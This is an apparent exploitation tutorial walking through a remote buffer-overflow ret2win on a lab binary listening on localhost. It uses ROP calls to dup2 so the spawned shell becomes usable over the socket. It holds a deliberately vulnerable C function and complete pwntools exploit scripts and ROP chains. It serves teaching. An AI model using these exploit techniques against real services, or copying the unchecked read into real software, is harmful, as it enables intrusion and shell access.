Exploit

Duplicating the Descriptors

Source

I'll include source.c, but most of it is socket programming derived from here. The two relevent functions - vuln() and win() - I'll list below.

void vuln(int childfd) {
    char buffer[30];

    read(childfd, buffer, 500);
    write(childfd, "Thanks!", 8);
}

void win() {
    system("/bin/sh");
}

Quite literally an easy ret2win.

Exploitation

Start the binary with ./vuln 9001.

Basic setup, except it's a remote process:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

Testing Offset

I pass in a basic De Bruijn pattern and pause directly before:

payload = b'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA'

pause()
p.sendline(payload)

Once the pause() is reached, I hook on with radare2 and set a breakpoint at the ret.

$ r2 -d -A $(pidof vuln)

[0x7f741033bdee]> pdf @ sym.vuln
[...]
└           0x0040126b      c3             ret

[0x7f741033bdee]> db 0x0040126b
[0x7f741033bdee]> dc
hit breakpoint at: 40126b

[0x0040126b]> pxq @ rsp
0x7ffd323ee6f8  0x41415041414f4141  0x4153414152414151   AAOAAPAAQAARAASA
[...]

[0x0040126b]> wopO 0x41415041414f4141
40

Ok, so the offset is 40.

Generate Exploit

Should be fairly simple, right?

payload = flat(
    'A' * 40,
    elf.sym['win']
)

p.sendline(payload)
p.interactive()

What the hell?

But if we look on the server itself:

A shell was popped there! This is the file descriptor issue we talked about before.

So we have a shell, but no way to control it. Time to use dup2.

I've simplified this challenge a lot by including a call to dup2() within the vulnerable binary, but normally you would leak libc via the GOT and then use libc's dup2() rather than the PLT; this walkthrough is about the basics, so I kept it as simple as possible.

Duplicating File Descriptors

As we know, we need to call dup2(newfd, oldfd). newfd will be 4 (our connection fd) and oldfd will be 0 and 1 (we need to call it twice to redirect bothstdin and stdout). Knowing what you do about calling conventions, have a go at doing this and then caling win(). The answer is below.

Using dup2()

Since we need two parameters, we'll need to find a gadget for RDI and RSI. I'll use ROPgadget to find these.

$ ROPgadget --binary vuln | grep "pop rdi"
0x000000000040150b : pop rdi ; ret

$ ROPgadget --binary vuln | grep "pop rsi"
0x0000000000401509 : pop rsi ; pop r15 ; ret

Plonk these values into the script.

POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 

Now to get all the calls to dup2().

payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()

And wehey - the file descriptors were successfully duplicated!

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 

payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()

Pwntools' ROP

These kinds of chains are where pwntools' ROP capabilities really come into their own:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Works perfectly and is much shorter and more readable!

Last updated